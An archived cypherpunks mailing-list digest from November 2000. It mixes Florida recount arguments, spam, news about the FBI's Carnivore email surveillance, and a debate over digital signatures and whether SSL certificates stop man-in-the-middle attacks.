Theorytrxpriv.pdf > Theorytrxpriv.pdf Type: Acrobat (application/pdf) > Encoding: base64 > > ------------------------------------------------------------------------ > -- > ----------------- > R. A. Hettinga > The Internet Bearer Underwriting Corporation > 44 Farquhar Street, Boston, MA 02131 USA > "... however it may deserve respect for its usefulness and antiquity, > [predicting the end of the world] has not been found agreeable to > experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' --- end forwarded text -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From cab8 at censored.org Fri Nov 17 17:57:59 2000 From: cab8 at censored.org (Carol A Braddock) Date: Fri, 17 Nov 2000 17:57:59 -0800 Subject: CDR: Re: Florida Supreme Court freezes certification References: <200011172118.QAA27768@www6.aa.psiweb.com> <00111703590602.11495@reality.eng.savvis.net> Message-ID: <062901c05102$fbb98dc0$cc38e43f@happycat> The suits are in the court before the certifiying deadline. They then have all the authority in the world. To not let the certification process complete itself tomorrow certainly is not good for the Bush camp. And I do believe Miss Secretary of State will wish she has not done what she has so far. She in her statements has not given a case by case reason for rejection. It certainly will cost her the office she holds in the next election, or any other public office she might run for. It's called contempt of court not to comply. Carol Anne Cypherpunk ----- Original Message ----- From: "Jim Burnes" To: ; Sent: Friday, November 17, 2000 1:59 AM Subject: Re: Florida Supreme Court freezes certification > On Fri, 17 Nov 2000, George at Orwellian.Org wrote: > > Florida Supreme Court freezes certification. > > > > (That's it.) > > Hmmm. That would seem to be a violation of separation of powers. > Since when did the Florida Supreme Court have executive authority? > From francois.xavier.bodin at winealley.com Fri Nov 17 09:40:00 2000 From: francois.xavier.bodin at winealley.com (francois.xavier.bodin at winealley.com) Date: Fri, 17 Nov 2000 18:40 +0100 Subject: CDR: Meet us on Wine Alley Message-ID: <200011171742.JAA22275@cyberpass.net> Hello! I found your address while surfing the Net for sites that have wine, good food and gracious living and I thought that you will be interested by the services that our site offers. www.wine-alley.com is a virtual Club for all those interested in wine in both a professional and personal capacity. On the site you can talk to others about wine, buy and sell and have access to the best professional sources. Already we have more than 3600 members! By the end of the year we confidently expect this to swell to 10,000. Club members use the Newsgroup of www.wine-alley.com to exchange information and experiences. Only the other day someone asked how much a certain rare wine was worth, I asked for more information about the grape variety, which doesn't grow in France. Currently there have been more than 673 questions and replies. There is also the small ads. column. Among the 11 adverts placed this week there have been some really good deals including a magnum of 1945 Pichon Lalande and a 1947 Cheval blanc! Let me make it clear - www.wine-alley.com itself does not sell or buy wine: we simply offer our members the facilites for making their own arrangements. www.wine-alley.com is also a site supplying information in real time, particularly the latest news from winegrowers and makers via the French Press Agency (AFP). We also have a database of more than 21,000 wines with information supplied directly to the site by winegrowers co-operatives and specialist magazines. I should be delighted if you would come and join us. At www.wine-alley.com you will find similarly-minded people who just want to share their love of wine. Kind regards François Xavier Bodin, Manager of the Online Club fx.bodin at winealley.com PS. Registering with the www.wine-alley.com club is absolutely free and commits you to nothing. If you are not interested in my offer, please excuse this letter; I am sorry to have bothered you. To prevent further unwanted intrusions please click on the following link, your email will be automatically removed from our list. http://www.wine-alley.com/wines/desmail.asp?id=208924&l=uk From FLA33426 at aol.com Fri Nov 17 16:27:32 2000 From: FLA33426 at aol.com (FLA33426 at aol.com) Date: Fri, 17 Nov 2000 19:27:32 EST Subject: CDR: (no subject) Message-ID: <12.50826f3.274726f4@aol.com> Thank you for your reply www.nationalwide.com _.·´¯`·._.·´¯`·._.·´¯`·._.·´¯`·._.·´¯`·._.·´¯`·._.·´¯`·._.·´¯`·._ Place Your AD Now ! and Get Your Free Products Now! choose 1 from over 85 free gifts when you place your ad plus. Win A New Sony CD/DVD Player Place Your Ad Now and become eligible to Win. PLACE YOUR AD NOW ! C l i c k H e r e ---> Place My Ad Now www.nationalwide.com Reach 977,000 new customers each day. 1 full page complete with your links 2,000 words 1 full year For a free complete information package Rushed to you by US Mail. Send your name and address by email. E-mail : fla33426 at aol.com click here Place My Ad Now ! http://www.nationalwide.com/ Thank you for your interests in advertising on Nationalwide.com From ravage at ssz.com Fri Nov 17 18:43:08 2000 From: ravage at ssz.com (Jim Choate) Date: Fri, 17 Nov 2000 20:43:08 -0600 (CST) Subject: CDR: Highlights of the ICANN meeting (fwd) Message-ID: ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- ---------- Forwarded message ---------- Date: Fri, 17 Nov 2000 20:01:53 -0500 (EST) From: "Richard J. Sexton" Reply-To: orange at dns.list To: orange at ns1.vrx.net Subject: Highlights of the ICANN meeting Aurbach "How I would decide TLDS if I were seated" http://cyber.law.harvard.edu/scripts/rammaker.asp?s=cyber&dir=icann&file=ica nn-111500&start=10-31-32 Me: ".XXX" http://cyber.law.harvard.edu/scripts/rammaker.asp?s=cyber&dir=icann&file=ica nn-111500&start=10-35-51 Peter Dengate Thrush: "We (cctlds) may look for other root servers" http://cyber.law.harvard.edu/scripts/rammaker.asp?s=cyber&dir=icann&file=ica nn-111500&start=10-39-10 -- Richard J. Sexton richard at vrx.web +1 (613) 473-1719 http://dns.vrx.list/tech/rootzone richard%vrx.web at vrx.net From ravage at einstein.ssz.com Fri Nov 17 18:44:05 2000 From: ravage at einstein.ssz.com (Jim Choate) Date: Fri, 17 Nov 2000 20:44:05 -0600 (CST) Subject: CDR: Here they are again, hopefully untruncated this time (fwd) Message-ID: Doh. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- ---------- Forwarded message ---------- Date: Fri, 17 Nov 2000 20:23:19 -0500 (EST) From: "Richard J. Sexton" Reply-To: orange at dns.list To: orange at ns1.vrx.net Subject: Here they are again, hopefully untruncated this time Aurbach "How I would decide TLDS if I were seated" http://cyber.law.harvard.edu/scripts/rammaker.asp?s=cyber&dir=icann&file=ica nn-111500&start=10-31-32 Me: ".XXX" http://cyber.law.harvard.edu/scripts/rammaker.asp?s=cyber&dir=icann&file=ica nn-111500&start=10-35-51 Peter Dengate Thrush: "We (cctlds) may look for other root servers" http://cyber.law.harvard.edu/scripts/rammaker.asp?s=cyber&dir=icann&file=ica nn-111500&start=10-39-10 -- Richard J. Sexton richard at vrx.web +1 (613) 473-1719 http://dns.vrx.list/tech/rootzone richard%vrx.web at vrx.net From rah at shipwright.com Fri Nov 17 19:06:41 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Fri, 17 Nov 2000 22:06:41 -0500 Subject: CDR: Re: Atlanta Fed on a Theory of Financial Privacy Message-ID: --- begin forwarded text From bill.stewart at pobox.com Fri Nov 17 22:28:18 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Fri, 17 Nov 2000 22:28:18 -0800 Subject: CDR: Re: info In-Reply-To: <7e.d1e2422.274759db@aol.com> Message-ID: <3.0.5.32.20001117222818.00b4c320@idiom.com> At 11:04 PM 11/17/00 EST, Digbe616 at aol.com wrote: >please send me more info........do to the delicate nature please do not >contact me through e mail. mail me more info at Christopher Smith > PO box 57 Rancocas new jersey 08073 Normally a message like that would just deserve an ignore or a flame, but that's approximately where New Jersey Congresscritter Chris Smith lives :-) Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From jonathan at screaming.org Fri Nov 17 19:29:11 2000 From: jonathan at screaming.org (jonathan at screaming.org) Date: Fri, 17 Nov 2000 22:29:11 -0500 Subject: CDR: Re: Florida Supreme Court freezes certification Message-ID: <200011180321.UAA24942@montana.ultimate.screaming.org> Mr. not-so-well said: > > Florida Supreme Court freezes certification. > > > > (That's it.) (As they well should have, given its statistical invalidity.) To which replied some entity which cannot distinguish Bush Spin from actual events: > Hmmm. That would seem to be a violation of separation of powers. > > The Florida deadline law is very clear. If the Florida Supreme > Court wishes to rule on a suit that the Dems bring up then that > is their authority, but preventing the Secretary of State from > doing her duly appointed job seems to be a violation of > separation of powers. Except that the legal motion was filed by the Reps, not the Dems, originally. They brought it on them-damn-selves. Idiots. Christ. Is the entire Republican Establishment as fucking low-IQ as GWB? What a bunch of morons/amateurs. The only--*only*--aspect of AG that I can respect is the fact that he can read at at least an 8th grade level. Fuck. For those of us that understand that our Constitutional Rights(tm) may hang in the balance (for, oh, say the next 20 years or so), I can't say that having an illiterate moron in The Office is a reassuring idea--I mean, I thought that at least the Puppet Masters weren't such lamerz. Thank that whomever takes the Oval office, he'll swear in with his proverbial intestines around his proverbial ankles. Evisceration2000 /jonathan From jonathan at screaming.org Fri Nov 17 19:37:13 2000 From: jonathan at screaming.org (jonathan at screaming.org) Date: Fri, 17 Nov 2000 22:37:13 -0500 Subject: CDR: Re: Aces high (long reply) Message-ID: <200011180329.UAA24957@montana.ultimate.screaming.org> > >And despite all the talk, chad pregnancy is still a problem in America > >today. You know all those chads are just going to end up on welfare. > > They burn real well. Just feed them into the incinerators. Hell that's funny. It really is. Now something that sucks: I just saw a report on CNN-or-some-such, that the Bush Camp was outraged that they'd seen some Techie "rifling the punchcard ballots" before feeding them into the machine!!! How many of us here can harken back to the days of punchcards in computing? Did you not, routinely, rifle them prior to feeding them in to the reader, in order to dislodge the "chads"? WTF, I respectfully ask? Morons will begin raining from the damn sky. Skeet shooting anyone? /jonathan From bill.stewart at pobox.com Fri Nov 17 22:46:38 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Fri, 17 Nov 2000 22:46:38 -0800 Subject: CDR: Re: Bob's Bank. Hi, I'm Bob. Just slip it in this pocket here. In-Reply-To: <200011171652.LAA24887@www2.aa.psiweb.com> Message-ID: <3.0.5.32.20001117224638.00b4eb70@idiom.com> At 11:52 AM 11/17/00 -0500, George at orwellian.org wrote: ># The illegal bank, operated out a warehouse just east of Portland, ># offered customers anonymous banking transactions to conceal income ># and assets, according to IRS Special Agent Kathleen Sulmonetti. ># Nine hundred customers deposited $186 million in the warehouse ># bank with the money then being shuffled into legitimate commercial ># bank accounts, she said. That sounds a lot like the DEA estimates of how much the street value of marijuana plants are ("Let's see, under ideal conditions this plant could produce 2 kilos of product, and the highest price we've ever seen for dope was $X/ounce, so this flat of 2" high seedlings is worth FIVE MILLION DOLLARS!") I bet the counted or double-counted the money any time anything moved. Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From Digbe616 at aol.com Fri Nov 17 20:04:43 2000 From: Digbe616 at aol.com (Digbe616 at aol.com) Date: Fri, 17 Nov 2000 23:04:43 EST Subject: CDR: info Message-ID: <7e.d1e2422.274759db@aol.com> please send me more info........do to the delicate nature please do not contact me through e mail. mail me more info at Christopher Smith PO box 57 Rancocas new jersey 08073 From aethr at earthlink.net Fri Nov 17 21:25:26 2000 From: aethr at earthlink.net (Allen Ethridge) Date: Sat, 18 Nov 2000 00:25:26 -0500 Subject: CDR: Re: Aces high (long reply) Message-ID: <200011180525.VAA25915@gull.prod.itd.earthlink.net> On Friday, November 17, 2000, at 09:37 PM, jonathan at screaming.org wrote: > I just saw a report on CNN-or-some-such, that the Bush Camp was > outraged that they'd seen some Techie "rifling the punchcard ballots" > before feeding them into the machine!!! > > How many of us here can harken back to the days of punchcards in > computing? Did you not, routinely, rifle them prior to feeding them in > to the reader, in order to dislodge the "chads"? WTF, I respectfully > ask? I can, barely, and, no, I didn't. But I get your point. The card punching machines I used did a good job of punching a clean hole. And I noticed on my Texas ballot just how cleanly the holes were punched. If there were many chads hanging about then either the punching equipment, the cards or both were faulty. Maybe the butterfly wasn't the only flaw in the design of the ballots. From petro at bounty.org Sat Nov 18 01:19:54 2000 From: petro at bounty.org (petro) Date: Sat, 18 Nov 2000 01:19:54 -0800 Subject: CDR: Re: Court system greased lightning. In-Reply-To: <200011171839.NAA03197@www2.aa.psiweb.com> References: <200011171839.NAA03197@www2.aa.psiweb.com> Message-ID: >Wow, a FL 3-judge panel already passed Gore's appeal >up to the FL Supreme Court. > >Another basis of appeal can only start after Harris >certifies the result tomorrow. > >It will be interesting to see if Dubya emerges after certification. > >Obviously, Gore won the most votes as people _tried_ to vote. Given the massive voter fraud in this country, no it's not obvious. -- A quote from Petro's Archives: ********************************************** "Despite almost every experience I've ever had with federal authority, I keep imagining its competence." John Perry Barlow From bill.stewart at pobox.com Fri Nov 17 22:27:35 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Sat, 18 Nov 2000 01:27:35 -0500 Subject: CDR: Re: Aces high (long reply) In-Reply-To: <200011180329.UAA24957@montana.ultimate.screaming.org> Message-ID: <3.0.5.32.20001117222714.00b4f4d0@idiom.com> At 10:37 PM 11/17/00 -0500, jonathan at screaming.org wrote: >I just saw a report on CNN-or-some-such, that the Bush Camp was >outraged that they'd seen some Techie "rifling the punchcard ballots" >before feeding them into the machine!!! I would hope that they were only RIFFLING the punchcard ballots, and not RIFLING them :-) Depending on whether you take the latter word to mean shooting holes in them with a rifle or rooting through them to steal the good stuff, different political factions may have been involved.... >How many of us here can harken back to the days of punchcards in >computing? Did you not, routinely, rifle them prior to feeding them in >to the reader, in order to dislodge the "chads"? No - Keypunches did a fine job of punching out the chads, and chads could be later recycled as football-game confetti. The reason for riffling the decks of cards was to make sure they were all packed loosely enough that the card reader would read each card one at a time, not misfeeding or missing cards because there were two cards stuck together or (worse) one and a half cards stuck together, leading to inaccurate results and a big mess you had to clean out of the card reader. > WTF, I respectfully ask? > >Morons will begin raining from the damn sky. Skeet shooting anyone? Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From George at orwellian.org Fri Nov 17 22:45:49 2000 From: George at orwellian.org (George at orwellian.org) Date: Sat, 18 Nov 2000 01:45:49 -0500 (EST) Subject: CDR: Carnivore All-Consuming Message-ID: <200011180645.BAA25576@www4.aa.psiweb.com> EPIC FOIA... http://www.latimes.com/wires/20001117/tCB00V0387.html WASHINGTON--The FBI's controversial e-mail surveillance tool, known as Carnivore, can retrieve all communications that go through an Internet service -far more than FBI officials have said it does -a recent test of its potential sweep found, according to bureau documents [snip] From anonymous at openpgp.net Fri Nov 17 22:46:40 2000 From: anonymous at openpgp.net (anonymous at openpgp.net) Date: Sat, 18 Nov 2000 01:46:40 -0500 Subject: CDR: Carnivore not as selective as FBI said, privacy group charges Message-ID: http://www.computerworld.com/cwi/story/0,1199,NAV47_STO54114,00.html Carnivore FOIA Docs http://www.epic.org/privacy/carnivore/foia_documents.html By JENNIFER DISABATINO (November 17, 2000) Carnivore, the FBI's e-mail surveillance software, is capable of capturing "all unfiltered traffic," despite assurances from the FBI this summer that the program only captures e-mails going to people on whom the FBI has a warrant. The Electronic Privacy Information Center (EPIC) in Washington requested all FBI documents on Carnivore through a Freedom of Information Act request, and those documents are being released piecemeal after a judge's order (see story). An independent review team from the Illinois Institute of Technology Research Institute (IITRI) is due to file a draft "technical report" on the Carnivore system with the U.S. Department of Justice today. "The little information that has become public raises serious questions about the privacy implications of this technology," said David Sobel, general counsel for EPIC. "The American public cannot be expected to accept an Internet snooping system that is veiled in secrecy." The latest release of documents to EPIC was posted online yesterday. According to the released document, which summarizes tests done to the Carnivore software in May, "The PC [running Carnivore] could reliably capture all unfiltered traffic to the internal hard drive (HD) (words deleted)." "I think they just ran a test just to see the capabilities," said a spokesman at the FBI, who confirmed the release of the documents to EPIC. He added that the test may not be how Carnivore is actually deployed. Previously released documents reveal that Carnivore was originally created in February 1997 under the name Omnivore, and it was originally proposed for a Sun Microsystems Inc. Solaris X86 computer. In June last year, Omnivore was replaced by a system the FBI now calls Carnivore, which runs on a Windows NT-based computer. The data released by the FBI also includes a discussion of interception of voice over IP and reviews of tests for performance and recovery from attacks and crashes for both Omnivore and Carnivore. The existence of Carnivore was revealed when an attorney for Atlanta-based Internet service provider Earthlink Inc. told a House Judiciary Committee in April that the FBI was requiring the company to install the system on its network to fulfill court-ordered surveillance of criminal suspects. But the company resisted the installation of the secretive system because it caused performance problems on its network. It also couldn't examine the technology to determine if its capturing of e-mail, IP addresses and other traffic violated the privacy of other customers. From George at orwellian.org Sat Nov 18 01:07:29 2000 From: George at orwellian.org (George at orwellian.org) Date: Sat, 18 Nov 2000 04:07:29 -0500 Subject: CDR: Re: Florida Supreme Court freezes certification Message-ID: <200011180854.DAA19387@www7.aa.psiweb.com> jonathan at screaming.yellow.zonkers.org wrote: # Except that the legal motion was filed by the Reps, not the Dems, # originally. They brought it on them-damn-selves. Idiots. No one asked the Florida Supreme Court to freeze the certification. ---- My current opinion is that they should take the .2% error rate optical machines from the other counties and do another vote in the chad counties. The will of the people deserves a lower error rate, when the presidency hangs in the balance. I'd say that even if the politics were reversed. From petro at bounty.org Sat Nov 18 01:34:05 2000 From: petro at bounty.org (petro) Date: Sat, 18 Nov 2000 04:34:05 -0500 Subject: CDR: Re: Aces high (long reply) In-Reply-To: References: <200011170553.WAA24001@montana.ultimate.screaming.org> Message-ID: Mr. May: >At 5:31 PM -0500 11/17/00, David Honig wrote: >>At 03:05 PM 11/17/00 -0500, Tim May wrote: >>>years, many decades, to publish learned articles on chads, pregnant >>>chads, >> >>And despite all the talk, chad pregnancy is still a problem in America >>today. You know all those chads are just going to end up on welfare. >> > >They burn real well. Just feed them into the incinerators. Pulpist!!! -- A quote from Petro's Archives: ********************************************** "Despite almost every experience I've ever had with federal authority, I keep imagining its competence." John Perry Barlow From petro at bounty.org Sat Nov 18 02:16:41 2000 From: petro at bounty.org (petro) Date: Sat, 18 Nov 2000 05:16:41 -0500 Subject: CDR: Re: CJ v. 9th Circuit In-Reply-To: <200011171601.LAA13345@granger.mail.mindspring.net> References: <200011171601.LAA13345@granger.mail.mindspring.net> Message-ID: JYA, back on track: >CJ has lofted a mortar at the 9th Circuit Court of Appeals for >dismissing his appeal for the right to self-representation, and >has requested a rehearing which, if granted will take place >shortly: > > http://cryptome.org/cej-v-ca9.htm > "In toto, the 9th Circuit Court of Appeals' rulings in this case seem to indicate that the 9th Circuit, in the future, will" I like this line. The irony is, if not delicious, at least tasty. -- A quote from Petro's Archives: ********************************************** "Despite almost every experience I've ever had with federal authority, I keep imagining its competence." John Perry Barlow From Lynn.Wheeler at firstdata.com Sat Nov 18 07:39:21 2000 From: Lynn.Wheeler at firstdata.com (Lynn.Wheeler at firstdata.com) Date: Sat, 18 Nov 2000 07:39:21 -0800 Subject: Schneier: Why Digital Signatures are not Signatures (was Re :CRYPTO-GRAM, November 15, 2000) Message-ID: <8525699B.00509C87.00@lnsunr02.fl.firstdata.com> there are issues about authentication ... like conceptual frame-works of something you have, something you know, and something you are. it is possible to put together digital signature authentication technology/frame-works involving digital signature that are dependent on one or more pieces of 3-factor authentication. legal "signatures" as indication of intent have involved issues like counterfeit and understanding (and various regulations about font-sizes, wording, different expectations about prudent person, etc). a digital signature, once executed is a lot harder to counterfeit (compared to various written signatures) ... however there is much less direct correlation between intention and the act of executing a digital signature. digital signature in conjunction with various process that can proove that every digital signature executed was directly dependant on various combinations of 3-factor authentication (for each and every digital signature executed) attempts for a tighter correlation and demonstrate some degree of actual binding (between intention and signature execution). however, they also introduce new technology challenges ... there is now a significantly wider gap between the presentation of the information that a person may be agreeing to ... and the actual representation that is involved in executing digital signatures. paper documents also have had the advantage that the presentation of the information and the signature application is nearly identical technology .... much closer binding between the representation of what is being agreed to and the method of indicating that agreement. There are not a whole lot of cases where as the person is using a pen to sign a specific piece of paper ... that the pen can wonder off and sign a totally different piece of paper (like radar getting week-end passes signed in the MASH show). So the understanding issue pretty much stays the same in both environments (digital signature and paper signature) ... digital signatures (in conjunction with the appropriate authentication framework) can reduce the instances of counterfeit signatures being applied to documents ... but also opens up the instances where what a person is presented isn't necessarily what the person is signing. So one issue might be ... all other factors being equal ... is the magnitude of any counterfeit reduction significantly greater than the increase in the "what you see is what you sign" problem and the "did the person actually intend/confirm that particular signature" problem. "Paul Kierstead" on 11/17/2000 06:09:02 AM Please respond to paul.kierstead at alcatel.com From ben at algroup.co.uk Sat Nov 18 06:53:46 2000 From: ben at algroup.co.uk (Ben Laurie) Date: Sat, 18 Nov 2000 09:53:46 -0500 Subject: CDR: Public Key Infrastructure: An Artifact... References: Message-ID: <3A169428.D4976572@algroup.co.uk> Bram Cohen wrote: > > On Thu, 16 Nov 2000 obfuscation at beta.freedom.net wrote: > > > Bram Cohen writes: > > > In the vast majority of cases, preventing man in the middle attacks is a > > > waste of time. > > > > In the sense that, in the vast majority of communications, there is no > > man in the middle attack being mounted? > > Yes. > > > Couldn't the same thing be said of cryptography, since in the vast > > majority of cases there is no eavesdropping? > > Yes, but it's a less vast majority than the ones for which man in the > middle is happening. > > > The point in both cases is that if you construct a protocol which has > > weaknesses, eventually people may begin to exploit them. > > And if you build a protocol which is a pain to use, noone will use it. What, like SSL, for example? Cheers, Ben. -- http://www.apache-ssl.org/ben.html "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff From return63 at uole.com Sat Nov 18 07:58:16 2000 From: return63 at uole.com (return63 at uole.com) Date: Sat, 18 Nov 2000 10:58:16 -0500 Subject: CDR: Refinancing your house can SAVE you big dollars! 17558 Message-ID: <00002d46451d$0000241f$00004496@from houifecj.cc.com.ar([256.44.30.4]) by irs5s2.daidacentotere.chua.caimetv.net.ie (8.9.1a/8.9.1/1.0) with SMTP id NAA11975 ([256.005.36.4])> A non-text attachment was scrubbed... Name: not available Type: text/html Size: 15702 bytes Desc: not available URL: From bram at gawth.com Sat Nov 18 11:15:38 2000 From: bram at gawth.com (Bram Cohen) Date: Sat, 18 Nov 2000 11:15:38 -0800 (PST) Subject: CDR: Re: Public Key Infrastructure: An Artifact... In-Reply-To: <3A169428.D4976572@algroup.co.uk> Message-ID: On Sat, 18 Nov 2000, Ben Laurie wrote: > Bram Cohen wrote: > > > > And if you build a protocol which is a pain to use, noone will use it. > > What, like SSL, for example? SSL is not a pain to use, and it isn't effective against man in the middle attacks, since an attacker could simply make the end user connection be done via unencrypted http and most end users wouldn't notice. It is, however, quite effective against passive attacks, which is all that's really important. -Bram Cohen From George at Orwellian.Org Sat Nov 18 08:38:19 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Sat, 18 Nov 2000 11:38:19 -0500 (EST) Subject: CDR: Drop the recounts Message-ID: <200011181638.LAA06598@www7.aa.psiweb.com> The recounts will take weeks? Fugeddaboutit. Go for a revote request using the 0.2% error rate machines. Get the revote: Gore wins by thousands. Don't get it: Gore viable next election cycle, Bush out. It took 36 re-votes to elect Thomas Jefferson. [Democratic spin] From bram at gawth.com Sat Nov 18 13:43:02 2000 From: bram at gawth.com (Bram Cohen) Date: Sat, 18 Nov 2000 13:43:02 -0800 (PST) Subject: Public Key Infrastructure: An Artifact... In-Reply-To: <8525699B.0073CCDD.00@lnsunr02.fl.firstdata.com> Message-ID: On Sat, 18 Nov 2000 Lynn.Wheeler at firstdata.com wrote: > note also that current SSL infrastructure is vulnerable to things like domain > name hijacking; aka, at least part of SSL protocol is to make sure that you > really are talking to the host that you think you are talking to ... i.e. the > SSL certificate contains host/domain name (all this, in theory because of > weaknesses in the domain name infrastructure) ... and when SSL goes to check > something in the certificate ... it is checking the hostname/domainname against > the hostname/domain name that the browser is using. > > However, SSL-certificate issuing CAs have to rely on the domain name > authoritative infrastructure with regard to issuing SSL-certificates & domain > name ownership issues ... this is the same authoratative infrastructure that > supposedly can't be relied on and justifies having a the whole SSL-certificate > infrastructure to begin with. To be fair, this sort of attack is much more involved and must be planned much farther in advance. > In any case, the domain name infrastructure has been looking at ways to beef up > the integrity of its operation ... like having public keys registered as part of > domain name registration. Now, if domain name infrastructure is going to use > public key registration as part of beefing up its integrity ... that would > medicate much of the justification for the SSL-certicate infrastructure. This would remove one of the more serious barriers to running an SSL site - the Verisign protection money. The problem with all of these things is that they are still based on creating an association between a domain name and a key, when in fact what you want is an association between some abstract concept of a counterparty which exists in an end user's mind (like, say, amazon) and the ownership of a machine that user's browser is talking to. Unless that problem is fixed, man in the middle is hardly made more difficult - for example, Mallory could break into some random machine on the net and steal it's public key, then hijack local DNS and when someone goes to amazon.com redirect them to amazon.hackeddomain.com, and then proxy to amazon.com - now even SSL says the connection is safe. -Bram Cohen From bram at gawth.com Sat Nov 18 13:59:09 2000 From: bram at gawth.com (Bram Cohen) Date: Sat, 18 Nov 2000 13:59:09 -0800 (PST) Subject: Public Key Infrastructure: An Artifact... In-Reply-To: <3A16F9C5.3CAD3E96@algroup.co.uk> Message-ID: On Sat, 18 Nov 2000, Ben Laurie wrote: > Bram Cohen wrote: > > > > Unless that problem is fixed, man in the middle is hardly made more > > difficult - for example, Mallory could break into some random machine on > > the net and steal it's public key, then hijack local DNS and when someone > > goes to amazon.com redirect them to amazon.hackeddomain.com, and then > > proxy to amazon.com - now even SSL says the connection is safe. > > Yes, and Mallory can't read the data - so what was the point? Yes he can - he's presenting the key for hackeddomain.com, which he stole, so he's quite capable of reading requests sent for it. -Bram Cohen From Lynn.Wheeler at firstdata.com Sat Nov 18 14:03:03 2000 From: Lynn.Wheeler at firstdata.com (Lynn.Wheeler at firstdata.com) Date: Sat, 18 Nov 2000 14:03:03 -0800 Subject: Public Key Infrastructure: An Artifact... Message-ID: <8525699B.0073CCDD.00@lnsunr02.fl.firstdata.com> note also that current SSL infrastructure is vulnerable to things like domain name hijacking; aka, at least part of SSL protocol is to make sure that you really are talking to the host that you think you are talking to ... i.e. the SSL certificate contains host/domain name (all this, in theory because of weaknesses in the domain name infrastructure) ... and when SSL goes to check something in the certificate ... it is checking the hostname/domainname against the hostname/domain name that the browser is using. However, SSL-certificate issuing CAs have to rely on the domain name authoritative infrastructure with regard to issuing SSL-certificates & domain name ownership issues ... this is the same authoratative infrastructure that supposedly can't be relied on and justifies having a the whole SSL-certificate infrastructure to begin with. In any case, the domain name infrastructure has been looking at ways to beef up the integrity of its operation ... like having public keys registered as part of domain name registration. Now, if domain name infrastructure is going to use public key registration as part of beefing up its integrity ... that would medicate much of the justification for the SSL-certicate infrastructure. Furthermore, if a higher integrity domain name infrastructure included public keys in the domain name record ... clients could request a real-time, trusted copy of the public key as a adjunct to host-name lookup. This would further eliminate the requirement for any certificate involvement in the majority of the existing SSL transaction operation (i.e. client gets the public key at the same time hostname resolution is done ... the client can trust a real-time host/domain name because of the improvement in the domain name infrastructure integrity ... and at the same time it can trust a real-time publickey for the same host/domain). Bram Cohen on 11/18/2000 11:15:38 AM From bcallu at arabia.com Sat Nov 18 12:39:35 2000 From: bcallu at arabia.com (bcallu at arabia.com) Date: Sat, 18 Nov 2000 15:39:35 -0500 Subject: CDR: The Window, Opportunity Message-ID: <000020e279f2$000029c3$000053b8@localhost> A non-text attachment was scrubbed... Name: not available Type: text/html Size: 5656 bytes Desc: not available URL: From jamesd at echeque.com Sat Nov 18 13:12:14 2000 From: jamesd at echeque.com (James A. Donald) Date: Sat, 18 Nov 2000 16:12:14 -0500 Subject: CDR: Re: Bob's Bank. Hi, I'm Bob. Just slip it in this pocket here. In-Reply-To: References: Message-ID: <4.3.1.2.20001118123737.027a1350@shell11.ba.best.com> -- At 9:07 AM -0800 11/17/00, Marshall Clow wrote: > > 900 people --> $186M. That's $206K each. That's a lot of money to > > put into a 'bank'. Tim May: > And a lot of money for "Christian Patriots." > > Not to belittle either Christians or Patriots, but folks like this > typically have problems making the monthly payments on their > double-wides. You have been reading too many commie/liberal/anti-gun rants. You are pretty similar in income and intellectual attainment to a great many people in the patriot movement. --digsig James A. Donald 6YeGpsZR+nOTh/cGwvITnSR3TdzclVpR0+pr3YYQdkG 60/07D6jrqXCHQGb8lk3fFJwRERdNolY8aRjsmYR 4ey9x3MMMjUOYGqxtsKKKipXSDVjRFMwG06jKTd+e From playstationsNow at yahoo.com Sat Nov 18 13:53:31 2000 From: playstationsNow at yahoo.com (playstationsNow at yahoo.com) Date: Sat, 18 Nov 2000 16:53:31 -0500 Subject: CDR: 100 PlayStation2 Available for Immediate shipping! Message-ID: <569.407146.824411@yahoo.com> A non-text attachment was scrubbed... Name: not available Type: text/html Size: 10652 bytes Desc: not available URL: From ben at algroup.co.uk Sat Nov 18 14:01:33 2000 From: ben at algroup.co.uk (Ben Laurie) Date: Sat, 18 Nov 2000 17:01:33 -0500 Subject: CDR: Public Key Infrastructure: An Artifact... References: Message-ID: <3A16F9C5.3CAD3E96@algroup.co.uk> Bram Cohen wrote: > > On Sat, 18 Nov 2000 Lynn.Wheeler at firstdata.com wrote: > > > note also that current SSL infrastructure is vulnerable to things like domain > > name hijacking; aka, at least part of SSL protocol is to make sure that you > > really are talking to the host that you think you are talking to ... i.e. the > > SSL certificate contains host/domain name (all this, in theory because of > > weaknesses in the domain name infrastructure) ... and when SSL goes to check > > something in the certificate ... it is checking the hostname/domainname against > > the hostname/domain name that the browser is using. > > > > However, SSL-certificate issuing CAs have to rely on the domain name > > authoritative infrastructure with regard to issuing SSL-certificates & domain > > name ownership issues ... this is the same authoratative infrastructure that > > supposedly can't be relied on and justifies having a the whole SSL-certificate > > infrastructure to begin with. > > To be fair, this sort of attack is much more involved and must be planned > much farther in advance. > > > In any case, the domain name infrastructure has been looking at ways to beef up > > the integrity of its operation ... like having public keys registered as part of > > domain name registration. Now, if domain name infrastructure is going to use > > public key registration as part of beefing up its integrity ... that would > > medicate much of the justification for the SSL-certicate infrastructure. > > This would remove one of the more serious barriers to running an SSL > site - the Verisign protection money. > 